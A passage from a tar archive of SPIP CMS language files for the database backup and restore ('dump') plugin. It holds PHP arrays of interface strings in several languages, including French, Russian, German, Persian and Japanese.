'texte_admin_tech_02' => 'Attention : cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour… Consultez <a href="@spipnet@">la documentation de SPIP</a>.',
'texte_restaurer_base' => 'Restaurer le contenu d’une sauvegarde de la base',
'texte_restaurer_sauvegarde' => 'Cette option vous permet de restaurer une sauvegarde précédemment
effectuée de la base. À cet effet, le fichier contenant la sauvegarde doit avoir été
placé dans le répertoire @dossier@.
Soyez prudente avec cette fonctionnalité : <b>les modifications, pertes éventuelles, sont
irréversibles.</b>',
'texte_sauvegarde' => 'Sauvegarder le contenu de la base',
'texte_sauvegarde_base' => 'Sauvegarder la base',
'tout_restaurer' => 'Restaurer toutes les tables',
'tout_sauvegarder' => 'Sauvegarder toutes les tables',
// U
'une_donnee' => '1 enregistrement'
);
?>
dump_lb.php 0000666 00000007433 15252540315 0006714 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'Kéng Daten am Fichier.',
'avis_probleme_ecriture_fichier' => 'De Fichier @fichier@ ka net geschriwwe ginn',
// B
'bouton_restaurer_base' => 'Datebank zeréckspillen',
// C
'confirmer_ecraser_base' => 'Jo, ech wëll meng Datebank duerch dëse Backup ersetzen',
'confirmer_ecraser_tables_selection' => 'Jo, ech wëll déi ausgewielten Tafelen duerch dëse Backup ersetzen',
// D
'details_sauvegarde' => 'Detailer vun dem Backup:',
// E
'erreur_aucune_donnee_restauree' => 'Kéng Informatiounen zeréckgespillt',
'erreur_connect_dump' => 'Et gëtt schon e Server "@dump@". Gitt ëm en anere Numm.',
'erreur_creation_base_sqlite' => 'Onméiglech eng SQLite-Datebank fir de Backup bäizeflécken',
'erreur_nom_fichier' => 'Dëse Fichiers-Numm ass nët erlaabt',
'erreur_restaurer_verifiez' => 'Verbessert de Fehler fir kënnen zeréckzespillen.',
'erreur_sauvegarde_deja_en_cours' => 'Et leeft schon e Backup',
'erreur_sqlite_indisponible' => 'Onméiglech en SQLite-Backup bei ärem Provider bäizeflécken',
'erreur_table_absente' => 'D’Tafel @table@ feelt',
'erreur_table_donnees_manquantes' => 'Tafel @table@, Date feelen',
'erreur_taille_sauvegarde' => 'De Backup schéngt net fonctionnéiert ze hunn. De Fichier @fichier@ ass eidel oder feelt.',
// I
'info_aucune_sauvegarde_trouvee' => 'Kee Backup fonnt',
'info_restauration_finie' => 'Et ass fäerdeg! De Backup @archive@ ass op äre Site zeréckgespillt ginn. Dir kënnt',
'info_restauration_sauvegarde' => 'Restauratioun vum Backup @archive@',
'info_sauvegarde' => 'Backup',
'info_sauvegarde_reussi_02' => 'De Backup vun der Datebank ass @archive@. Dir kënnt',
'info_sauvegarde_reussi_03' => 'zeréck bei d’Gestioun',
'info_sauvegarde_reussi_04' => 'vun ärem Site.',
'info_selection_sauvegarde' => 'Dir wëllt de Backup @fichier@ zeréckspillen. Dës Operatioun ka net réckgängeg gemaach ginn.',
// L
'label_nom_fichier_restaurer' => 'Oder gitt de Numm vum Fichier un dee soll zeréckgespillt ginn',
'label_nom_fichier_sauvegarde' => 'Numm vum Backup-Fichier',
'label_selectionnez_fichier' => 'Wielt e Fichier aus der Lëscht',
// N
'nb_donnees' => '@nb@ Zeilen',
// R
'restauration_en_cours' => 'Zeréckspille leeft',
// S
'sauvegarde_en_cours' => 'Backup leeft',
'sauvegardes_existantes' => 'Backups',
'selectionnez_table_a_restaurer' => 'Wielt d’Tafelen aus déi sollen zeréckgespillt ginn',
// T
'texte_admin_tech_01' => 'Dës Optioun erlaabt den Inhalt vun der Datebank am Dossier @dossier@ ze späicheren. Vergiesst net och de ganzen Inhalt vum Dossier @img@ erofzelueden, wou d’Biller an d’Dokumenter vun den Artikelen an de Rubrike sinn.',
'texte_admin_tech_02' => 'Opgepasst: dëse Backup ka nëmmen op e Site mat därselwechter SPIP-Versioun zeréckgespillt ginn. Dir däerft also ni "Datebank eidel maachen" an der Hoffnung dir kinnt se no engem Update nei installéieren... Kuckt <a href="@spipnet@">an der SPIP-Beschreiwung</a>.',
'texte_restaurer_base' => 'E Backup zeréckspillen',
'texte_restaurer_sauvegarde' => 'Dës Fonctioun erlaabt d’Zeréckspillen vun engem Backup vun der Datebank. Duerfir muss de Backup-Fichier am Dossier @dossier@ sinn. Passt op mat dëser Prozedur: <b>d’Ännerungen kënne net réckgängeg gemaach ginn.</b>',
'texte_sauvegarde' => 'E Backup vun der Datebank maachen',
'texte_sauvegarde_base' => 'Backup vun der Datebank maachen',
'tout_restaurer' => 'All d’Tafelen zeréckspillen',
'tout_sauvegarder' => 'Backup vun allen Tafelen',
// U
'une_donnee' => '1 Zeil'
);
?>
dump_ru.php 0000666 00000012551 15252540315 0006742 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'пусто',
'avis_probleme_ecriture_fichier' => 'Не удалось сохранить файл @fichier@',
// B
'bouton_restaurer_base' => 'Восстановить базу данных',
// C
'confirmer_ecraser_base' => 'Да, я хочу перезаписать всю текущую информацию данными из резервной копии',
'confirmer_ecraser_tables_selection' => 'Да, я хочу заменить информацию в выбранных таблицах данными из резервной копии.',
// D
'details_sauvegarde' => 'Информация о резервной копии :',
// E
'erreur_aucune_donnee_restauree' => 'Не удалось восстановить информацию',
'erreur_connect_dump' => 'Сервер « @dump@ » уже существует. Переименуйте его.',
'erreur_creation_base_sqlite' => 'Не удалось создать SQLite базу для бэкапа',
'erreur_nom_fichier' => 'Данное называние файла не разрешено',
'erreur_restaurer_verifiez' => 'Исправьте ошибки для того, что бы продолжить восстановление.',
'erreur_sauvegarde_deja_en_cours' => 'Резервная копия уже создается',
'erreur_sqlite_indisponible' => 'Не получается сделать резервную копию SQLite на вашем хостинге',
'erreur_table_absente' => 'Не хватает таблицы @table@ ',
'erreur_table_donnees_manquantes' => 'В таблице @table@ нет информации',
'erreur_taille_sauvegarde' => 'Проблемы с резервной копией. Похоже, что файл @fichier@ пустой или отсутствует.',
// I
'info_aucune_sauvegarde_trouvee' => 'Резервные копии не обнаружены',
'info_restauration_finie' => 'Восстановление окончено! Резервная копия @archive@ загружена на сайт. Вы можете',
'info_restauration_sauvegarde' => 'Восстановление резервной копии @archive@',
'info_sauvegarde' => 'Резервная копия',
'info_sauvegarde_reussi_02' => 'База данных была сохранена в @archive@. Вы можете',
'info_sauvegarde_reussi_03' => 'вернуться к настройкам',
'info_sauvegarde_reussi_04' => 'сайта.',
'info_selection_sauvegarde' => 'Вы решили восстановить информацию из резервной копии в файле @fichier@. Данная операция необратима.',
// L
'label_nom_fichier_restaurer' => '... или укажите название файла с резервной копией:',
'label_nom_fichier_sauvegarde' => 'Название файла резервной копии',
'label_selectionnez_fichier' => 'Выберите файл из списка:',
// N
'nb_donnees' => '@nb@ записей',
// R
'restauration_en_cours' => 'Идет восстановление',
// S
'sauvegarde_en_cours' => 'Идет сохранение данных',
'sauvegardes_existantes' => 'Резервные копии',
'selectionnez_table_a_restaurer' => 'Выбрать таблицы для восстановления',
// T
'texte_admin_tech_01' => 'Вы можете сделать резервную копию базы данных.Файл будет сохранен в каталоге @dossier@. Не забудьте скопировать папку @img@, в которой сохранены изображения и загруженные файлы. Все файлы необходимо скопировать на локальный компьютер или другой сервер.',
'texte_admin_tech_02' => 'Внимание: вы можете восстановить резервную копию в той версии SPIP, в которой вы ее создали. Подробнее см. <a href="@spipnet@">документацию</a>.',
'texte_restaurer_base' => 'Восстановление из резервной копии',
'texte_restaurer_sauvegarde' => 'Вы можете восстановить сайт из резервной копии. Для этого поместите файл с копией в папку @dossier@.<br />
<b>Внимание:</b> вся текущая информация будет заменена информацией с резервной копии. Эта операция необратима, если вы не уверены в том, что вы делаете - сделайте резервную копию перед началом восстановления. ',
'texte_sauvegarde' => 'Сохранить базу данных',
'texte_sauvegarde_base' => 'Сохранить базу данных',
'tout_restaurer' => 'Восстановить все таблицы',
'tout_sauvegarder' => 'Сохранить все таблицы',
// U
'une_donnee' => '1 запись'
);
?>
paquet-dump_fr.php 0000666 00000000626 15252540315 0010220 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/dump/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// D
'dump_description' => 'Sauvegarde de la base en SQLite et restauration',
'dump_slogan' => 'Sauvegarde et restauration de la base SPIP'
);
?>
dump_vi.php 0000666 00000003741 15252540315 0006733 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Phục hồi database',
// I
'info_restauration_sauvegarde' => 'Phục hồi hồ sơ dự trữ @archive@', # MODIF
'info_sauvegarde' => 'Dự trữ',
'info_sauvegarde_reussi_02' => 'Database được lưu trữ trong @archive@. Bạn có thể ', # MODIF
'info_sauvegarde_reussi_03' => 'trở lại việc quản trị',
'info_sauvegarde_reussi_04' => 'website của bạn.',
// T
'texte_admin_tech_01' => 'Chọn lựa này cho phép bạn giữ lại nội dung của database vào trong một hồ sơ đựng trong ngăn @dossier@. Và cũng đừng quên cất giữ lại lại toàn bộ ngăn <i>IMG/</i>, chứa đựng các hình ảnh dùng trong các bài vở và đề mục.', # MODIF
'texte_admin_tech_02' => '<b>Cảnh báo</b>: CHỈ CÓ THỂ phục hồi bản dự trữ này trong một website có cùng ấn bản SPIP.
Lỗi lầm thường hay vấp phải là thực hiện việc dự trữ database trước khi nâng cấp SPIP...
Để biết thêm, xin đọc [tài liệu SPIP->http://www.spip.net/fr_article1489.html].', # MODIF
'texte_restaurer_base' => 'Phục hồi nội dung của kho dự trữ database',
'texte_restaurer_sauvegarde' => 'Chọn lựa này cho phép bạn phục hồi một hồ sơ dự trữ trước đó của database. Để thực hiện điều này, hồ sơ chứa phần dự trữ phải được nên giữ ở thư mục @dossier@. Cẩn thận với đặc điểm này: <b>Bất cứ sửa đổi hay thất thoát nào xảy ra là không làm ngược lại được.</b>', # MODIF
'texte_sauvegarde' => 'Dự trữ nội dung của database',
'texte_sauvegarde_base' => 'Dự trữ database'
);
?>
dump_fa.php 0000666 00000012013 15252540315 0006673 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'هيچ دادهاي در پرونده نيست.',
'avis_probleme_ecriture_fichier' => 'مشكل نوشتن پروندهي
@fichier@',
// B
'bouton_restaurer_base' => 'باز سازى پايگاه',
// C
'confirmer_ecraser_base' => 'بله، ميخواهم پايگاه دادههايم را با اين بكآپ بازنويسي كنم',
'confirmer_ecraser_tables_selection' => 'بله، ميخواهم جدول منتخب را با اين بكآپ بازنويسي كنم',
// D
'details_sauvegarde' => 'حزئيات بكآپ :',
// E
'erreur_aucune_donnee_restauree' => 'هيچ دادهاي ذخيره نشده',
'erreur_connect_dump' => 'سروري به نام
« @dump@ »
پيشتر وجود داشته. دوباره آن را نامگذاري كنيد',
'erreur_creation_base_sqlite' => 'ايجاد يك پايگاه اس.كيو.لايت براي اين بكآپ ممكن نيست',
'erreur_nom_fichier' => 'اين نام پرونده مجاز نيست',
'erreur_restaurer_verifiez' => 'براي ذخيره شدن خطا را برطرف كنيد.',
'erreur_sauvegarde_deja_en_cours' => 'شما يك بكآپ در جريان داريد',
'erreur_sqlite_indisponible' => 'گرفتن بكآپ اس.كيو.لايت روي ميزبان ارايهدهندهي شما ممكن نيست',
'erreur_table_absente' => '@table@ فقدان جدول ',
'erreur_table_donnees_manquantes' => '@table@ جدول ،
نبود دادهها',
'erreur_taille_sauvegarde' => 'به نظر ميرسد بكاپ موفق نبوده، پروندهي
@fichier@
خالي است يا موجود نيست',
// I
'info_aucune_sauvegarde_trouvee' => 'هيچ ذخيرهاي يافت نشد',
'info_restauration_finie' => 'تمام شد. بكآپ
@archive@
روي سايت شما ذخيره شد. شما ميتوانيد',
'info_restauration_sauvegarde' => 'استفرار مجدد حفظ @archive@',
'info_sauvegarde' => 'ذخيره',
'info_sauvegarde_reussi_02' => 'ذخيره پايگاه در @archive@انجام شد. شما ميتوانيد',
'info_sauvegarde_reussi_03' => 'به بخش اداره برگرديد',
'info_sauvegarde_reussi_04' => '.سايتتان',
'info_selection_sauvegarde' => '@fichier@ را انتخاب كردهايد. شما بازسازي ذخيره اين عمكرد بازيافتني نيست. ',
// L
'label_nom_fichier_restaurer' => 'يا نام پرونده را براي بازسازي مشخص كنيد',
'label_nom_fichier_sauvegarde' => 'نام پرونده براي ذخيرهسازي آن ',
'label_selectionnez_fichier' => 'يك پرونده را از فهرست انتخاب كنيد',
// N
'nb_donnees' => '@nb@ ثبت شده',
// R
'restauration_en_cours' => 'بازسازي در جريان است',
// S
'sauvegarde_en_cours' => 'ذخيرهسازي در جريان است',
'sauvegardes_existantes' => 'ذخيرههاي موجود',
'selectionnez_table_a_restaurer' => 'جدولها را براي بازسازي انتخاب كنيد',
// T
'texte_admin_tech_01' => 'اين گزينش بشما امكان ذخيره محتوى داده پى ها را در فايلى كه در فهرست زير آمده است ميدهد@dossier@.فراموش نكنيد كه تمامى محتوى رپرتوار @img@ را كه شامل تصاوير و اسناد استفاده شده و بخشهاست را دوباره پس بگيريد.',
'texte_admin_tech_02' => 'توجه! اين بك آپ (ذخيره) فقط بايد با همان نسخهي اسپيپي كه ساخته شده بازسازي شود. به خصوص نبايد پايگاهدادهها را به منظور نصب دوبارهي بكآپ (ذخيره) پس از بروز رساني خالي كرد... براى اطلاع بيشتر به <a href="@spipnet@">la اسناد اسپيپ</a> رجوع كنيد.',
'texte_restaurer_base' => 'محتوى ذخيره پايگاه را بازسازى كنيد',
'texte_restaurer_sauvegarde' => 'اين گزينش بشما امكان بازسازى ذخيره از پايگاه را كه پيشتر گرفتهايد، ميدهد. دراينصورت بايد فايل محتوى ذخيره را در اين رپرتوار قرار دهيد.@dossier@.
با احتياط عمل كنيد چون هرگونه دستكارى يا از بين رفتن غيرقابل برگشت ميباشد.</b>',
'texte_sauvegarde' => 'محتوى پايگاه را ذخيره كنيد',
'texte_sauvegarde_base' => 'پايگاه را ذخيره كنيد',
'tout_restaurer' => 'بازسازي تمام جدولها',
'tout_sauvegarder' => 'ذخيرهسازي تمام جدولها',
// U
'une_donnee' => '1 ثبت شده'
);
?>
dump_bs.php 0000666 00000003244 15252540315 0006717 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'Obnovi bazu podataka',
// I
'info_restauration_sauvegarde' => 'obnavljanje backup arhiva @archive@', # MODIF
'info_sauvegarde' => 'Arhiva',
'info_sauvegarde_reussi_02' => 'Baza je pohranjena u @archive@. Mozete se', # MODIF
'info_sauvegarde_reussi_03' => 'vratiti uredjivanju',
'info_sauvegarde_reussi_04' => 'vase stranice.',
// T
'texte_admin_tech_01' => 'Ova opcija vam omogucuje pohranjivanja sadrzaja baze u dokument koji ce biti pohranjen u direktoriju @dossier@. Ne zaboravite sacuvati sve sto obuhvata IMG repertoar, sto ukljucuje slike i dokumente koristene u clancima i rubrikama.', # MODIF
'texte_admin_tech_02' => 'Paznja: Ovo pohranjivanje ne moze biti obnovljeno, OSIM na stranici koja je instalirana sa istom verzijom SPIP-a. Nije preporuceno praznjenje baze, ako namjerevate reinstalaciju backup-a nakon update-a ... Konsultujte <a href="@spipnet@">SPIP dokumentaciju</a>.', # MODIF
'texte_restaurer_base' => 'Obnoviti sadrzaj pohranjivanja baze',
'texte_restaurer_sauvegarde' => 'Ova opcija vam omogucava obnavljanje ranije izvedenog pohranjivanja baze. U tom slucaju, dokument koji, sadrzi pohranjeni materijal, se treba nalaziti u repertoaru @dossier@. Budite oprezni sa ovom funkcijom: <b>moguce izmjene i gubitci su nepovratni.</b>', # MODIF
'texte_sauvegarde' => 'Snimiti sadrzj baze',
'texte_sauvegarde_base' => 'Snimiti bazu'
);
?>
dump_ja.php 0000666 00000004157 15252540315 0006711 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=ja
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_restaurer_base' => 'データベースを復元',
// I
'info_restauration_sauvegarde' => 'バックアップ@archive@の復元', # MODIF
'info_sauvegarde' => 'バックアップ',
'info_sauvegarde_reussi_02' => 'データベースは、@archive@に保存されました。あなたは出来ます',
'info_sauvegarde_reussi_03' => '管理画面へ戻る',
'info_sauvegarde_reussi_04' => 'of あなたのサイト。',
// T
'texte_admin_tech_01' => 'このオプションはデータベースの内容を@dossier@ディレクトリに用意してあるファイルに保存することができます。記事やセクションで使った画像やドキュメントを含んだ<i>IMG/</i>全体、ディレクトリを忘れずに保存しておいてください。',
'texte_admin_tech_02' => '警告：このバックアップは、同じバージョンのSPIPがインストールしてある場合のみ復元できます。もちろんデータベースを空にしたり、アップグレード後にバックアップを復元してはいけません。さらに詳しいことは<a href="@spipnet@">SPIP documentation</a>を参照してください。', # MODIF
'texte_restaurer_base' => 'データベースのバックアップの内容を復元',
'texte_restaurer_sauvegarde' => 'このオプションで前にバックアップしたデータベースを復元することが可能です。復元するには、バックアップ用のファイルが@dossier@ディレクトリに保存されていなければなりません。必ずこの機能は注意して使ってください：<b>どんな潜在的な変更や損失も撤回することができません。</b>', # MODIF
'texte_sauvegarde' => 'データベースの内容をバックアップ',
'texte_sauvegarde_base' => 'データベースをバックアップ'
);
?>
dump_pt_br.php 0000666 00000004571 15252540315 0007425 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vazio',
'avis_probleme_ecriture_fichier' => 'Problema de escrita do arquivo @fichier@',
// B
'bouton_restaurer_base' => 'Restaurar a base',
// D
'details_sauvegarde' => 'Detalhes da cópia de segurança:',
// E
'erreur_aucune_donnee_restauree' => 'Nhenhum dado restaurado',
'erreur_creation_base_sqlite' => 'Impossível criar uma base SQLite para a cópia de segurança',
'erreur_nom_fichier' => 'Este nome de arquivo não é autorizado',
// I
'info_restauration_sauvegarde' => 'Restauração da cópia de segurança @archive@',
'info_sauvegarde' => 'Cópia de segurança',
'info_sauvegarde_reussi_02' => 'A cópia de segurança da base foi gravada em @archive@. Você pode',
'info_sauvegarde_reussi_03' => 'voltar para o gerenciamento',
'info_sauvegarde_reussi_04' => 'do seu site.',
// T
'texte_admin_tech_01' => 'Esta opção permite fazer uma cópia de segurança do conteúdo da base num arquivo que será gravado no diretório @dossier@. Não se esqueça, também, de transferir a totalidade do diretório @img@, que contém as imagens e os documentos usados nas matérias e nas seções.',
'texte_admin_tech_02' => 'Atenção: esta cópia de segurança só poderá ser restaurada em um site com a mesma versão do SPIP. Sobretudo, não «limpe a base» com o objetivo de reinstalar a cópia de segurança após uma atualização... Consulte <a href="@spipnet@">a documentação do SPIP</a>.',
'texte_restaurer_base' => 'Restaurar o conteúdo de uma cópia de segurança da base',
'texte_restaurer_sauvegarde' => 'Esta opção permite restaurar uma cópia de segurança previamente efetuada da base. Para isso, o arquivo contendo a cópia de segurança precisa ser colocado no diretório @dossier@.
Seja cuidadoso com esta funcionalidade: <b>as alterações e, eventualmente perdas, são irreversíveis.</b>',
'texte_sauvegarde' => 'Fazer uma cópia de segurança do conteúdo da base',
'texte_sauvegarde_base' => 'Fazer uma cópia de segurança da base',
'tout_sauvegarder' => 'Fazer cópia de segurança de todas as tabelas',
// U
'une_donnee' => '1 registro'
);
?>
dump_no.php 0000666 00000010331 15252540315 0006722 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://www.spip.net/trad-lang/
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'vide', # NEW
'avis_probleme_ecriture_fichier' => 'Problème d\'écriture du fichier @fichier@', # NEW
// B
'bouton_restaurer_base' => '<NEW> Restaurer la base',
// C
'confirmer_ecraser_base' => 'Oui, je veux écraser ma base avec cette sauvegarde', # NEW
'confirmer_ecraser_tables_selection' => 'Oui, je veux écraser les tables sélectionnées avec cette sauvegarde', # NEW
// D
'details_sauvegarde' => 'Détails de la sauvegarde :', # NEW
// E
'erreur_aucune_donnee_restauree' => 'Aucune donnée restaurée', # NEW
'erreur_connect_dump' => 'Un serveur nommé « @dump@ » existe déjà. Renommez-le.', # NEW
'erreur_creation_base_sqlite' => 'Impossible de créer une base SQLite pour la sauvegarde', # NEW
'erreur_nom_fichier' => 'Ce nom de fichier n\'est pas autorisé', # NEW
'erreur_restaurer_verifiez' => 'Corrigez l\'erreur pour pouvoir restaurer.', # NEW
'erreur_sauvegarde_deja_en_cours' => 'Vous avez déjà une sauvegarde en cours', # NEW
'erreur_sqlite_indisponible' => 'Impossible de faire une sauvegarde SQLite sur votre hébergement', # NEW
'erreur_table_absente' => 'Table @table@ absente', # NEW
'erreur_table_donnees_manquantes' => 'Table @table@, données manquantes', # NEW
'erreur_taille_sauvegarde' => 'La sauvegarde semble avoir échoué. Le fichier @fichier@ est vide ou absent.', # NEW
// I
'info_aucune_sauvegarde_trouvee' => 'Aucune sauvegarde trouvée', # NEW
'info_restauration_finie' => 'C\'est fini !. La sauvegarde @archive@ a été restaurée dans votre site. Vous pouvez', # NEW
'info_restauration_sauvegarde' => '<NEW> restauration de la sauvegarde @archive@', # MODIF
'info_sauvegarde' => '<NEW> Sauvegarde',
'info_sauvegarde_reussi_02' => '<NEW> La base a été sauvegardée dans @archive@. Vous pouvez',
'info_sauvegarde_reussi_03' => '<NEW> retourner à la gestion',
'info_sauvegarde_reussi_04' => '<NEW> de votre site.',
'info_selection_sauvegarde' => 'Vous avez choisi de restaurer la sauvegarde @fichier@. Cette opération est irréversible.', # NEW
// L
'label_nom_fichier_restaurer' => 'Ou indiquez le nom du fichier à restaurer', # NEW
'label_nom_fichier_sauvegarde' => 'Nom du fichier pour la sauvegarde', # NEW
'label_selectionnez_fichier' => 'Sélectionnez un fichier dans la liste', # NEW
// N
'nb_donnees' => '@nb@ enregistrements', # NEW
// R
'restauration_en_cours' => 'Restauration en cours', # NEW
// S
'sauvegarde_en_cours' => 'Sauvegarde en cours', # NEW
'sauvegardes_existantes' => 'Sauvegardes existantes', # NEW
'selectionnez_table_a_restaurer' => 'Sélectionnez les tables à restaurer', # NEW
// T
'texte_admin_tech_01' => '<NEW> Cette option vous permet de sauvegarder le contenu de la base dans un fichier qui sera stocké dans le répertoire @dossier@.N\'oubliez pas également de récupérer l\'intégralité du répertoire <i>IMG/</i>, qui contient les images et les documents utilisés dans les articles et les rubriques.',
'texte_admin_tech_02' => '<NEW> Attention: cette sauvegarde ne pourra être restaurée QUE dans un site installé sous la même version de SPIP. Il ne faut donc surtout pas « vider la base » en espérant réinstaller la sauvegarde après une mise à jour... Consultez <a href="@spipnet@">la documentation de SPIP</a>.', # MODIF
'texte_restaurer_base' => '<NEW> Restaurer le contenu d\'une sauvegarde de la base',
'texte_restaurer_sauvegarde' => '<NEW> Cette option vous permet de restaurer une sauvegarde précédemment
effectuée de la base. A cet effet, le fichier contenant la sauvegarde doit avoir été
placé dans le répertoire @dossier@.
Soyez prudent avec cette fonctionnalité : <b>les modifications, pertes éventuelles, sont
irréversibles.</b>',
'texte_sauvegarde' => '<NEW> Sauvegarder le contenu de la base',
'texte_sauvegarde_base' => '<NEW> Sauvegarder la base',
'tout_restaurer' => 'Restaurer toutes les tables', # NEW
'tout_sauvegarder' => 'Sauvegarder toutes les tables', # NEW
// U
'une_donnee' => '1 enregistrement' # NEW
);
?>
dump_de.php 0000666 00000010402 15252540315 0006675 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucune_donnee' => 'leer',
'avis_probleme_ecriture_fichier' => 'Probleme beim Scheiben der Datei @fichier@',
// B
'bouton_restaurer_base' => 'Datenbank wieder herstellen',
// C
'confirmer_ecraser_base' => 'Ja, ich will meine Datenbank mit dieser Sicherung überschreiben.',
'confirmer_ecraser_tables_selection' => 'Ja, ich will die ausgewählten Tabellen mit der dieser Sicherung überschreiben.',
// D
'details_sauvegarde' => 'Details der Sicherung:',
// E
'erreur_aucune_donnee_restauree' => 'Keine Daten wieder hergestellt',
'erreur_connect_dump' => 'Ein Server mit dem Namen« @dump@ » existiert bereits. Bitte bennen Sie ihn um.',
'erreur_creation_base_sqlite' => 'SQLite-Datenbank für die Sicherungskopie kann nicht erstellt werden.',
'erreur_nom_fichier' => 'Dieser Dateiname ist nicht zulässig.',
'erreur_restaurer_verifiez' => 'Berichtigen Sie den Fehler, um die Sicherung einspielen zu können.',
'erreur_sauvegarde_deja_en_cours' => 'Es läuft bereits eine Wiederherstellung',
'erreur_sqlite_indisponible' => 'Auf Ihrem Server kann keine Sicherung mit SQLite angelegt werden.',
'erreur_table_absente' => 'Tabelle @table@ fehlt',
'erreur_table_donnees_manquantes' => 'In der Tabelle @table@ fehlen Daten',
'erreur_taille_sauvegarde' => 'Die Sicherung ist anscheinend fehlgeschlagen. Die Datei @fichier@ ist leer oder nicht vorhanden.',
// I
'info_aucune_sauvegarde_trouvee' => 'Keine Sicherheitskopie gefunden',
'info_restauration_finie' => 'Fertig ! Die Sicherung @archive@ wurde in Ihre Website eingespielt. Sie können ',
'info_restauration_sauvegarde' => 'Wiederherstellung der Sicherung @archive@',
'info_sauvegarde' => 'Sicherung',
'info_sauvegarde_reussi_02' => 'Die Datenbank wurde in @archive@ gesichert. Sie können ',
'info_sauvegarde_reussi_03' => 'zur Administration',
'info_sauvegarde_reussi_04' => 'Ihrer Site zurückkehren.',
'info_selection_sauvegarde' => 'Sie haben sich entschieden, die Sicherung @fichier@ einzuspielen. Dieser Vorgang kann nicht rückgängig gemacht werden.',
// L
'label_nom_fichier_restaurer' => 'oder geben Sie den Namen der Datei an, die wieder hergestellt werden soll.',
'label_nom_fichier_sauvegarde' => 'Name der Sicherungsdatei',
'label_selectionnez_fichier' => 'Wählen Sie eine Datei aus der Liste',
// N
'nb_donnees' => '@nb@ Sicherheitskopien',
// R
'restauration_en_cours' => 'Wiederherstellung läuft',
// S
'sauvegarde_en_cours' => 'Sicherung läuft',
'sauvegardes_existantes' => 'Vorhandene Sicherungen',
'selectionnez_table_a_restaurer' => 'Wählen Sie die Tabellen, die wieder hergestellt werden sollen.',
// T
'texte_admin_tech_01' => 'Diese Option ermöglicht es, den Inhalt der Datenbank in das Verzeichnis @dossier@ zu sichern. Vergessen Sie bitte nicht, ebenfalls den Inhalt des Verzeichnisses <i>img/</i> zu sichern, denn es enthält die Bilder und Grafiken, welche für Rubriken und Artikel verwendet werden.',
'texte_admin_tech_02' => 'Achtung: Diese Sicherungskopie kann AUSSCHLIESSLICH in eine Website wieder eingespielt werden, die unter der gleichen Version von SPIP läuft. So darf insbesondere die Datenbank vor einem Update nicht "geleert" werden. Bitte verwenden Sie keine Sicherungskopie, um den Inhalt einer Website nach einem Update wieder einzuspielen. Mehr dazu steht in der <a href="@spipnet@">die SPIP Dokumentation</a>.',
'texte_restaurer_base' => 'Wiederherstellung des Inhalts der Datenbank',
'texte_restaurer_sauvegarde' => 'Mit dieser Funktion können Sie eine Sicherungskopie Ihrer Datenbank wieder einspielen. Dazu muss die Sicherungsdatei in das Verzeichnis @dossier@ kopiert werden. Verwenden Sie diese Funktion mit der nötigen Vorsicht. <b>Änderungen und eventuelle Datenverluste können nicht wieder rückgängig gemacht werden.</b>',
'texte_sauvegarde' => 'Inhalt der Datenbank sichern',
'texte_sauvegarde_base' => 'Datenbank sichern',
'tout_restaurer' => 'Alle Tabellen wieder herstellen',
'tout_sauvegarder' => 'Alle Tabellen sichern',
// U
'une_donnee' => '1 Sicherheitskopie'
);
?>
dump_id.php 0000666 00000003340 15252540315 0006704 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/dump?lang_cible=id
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
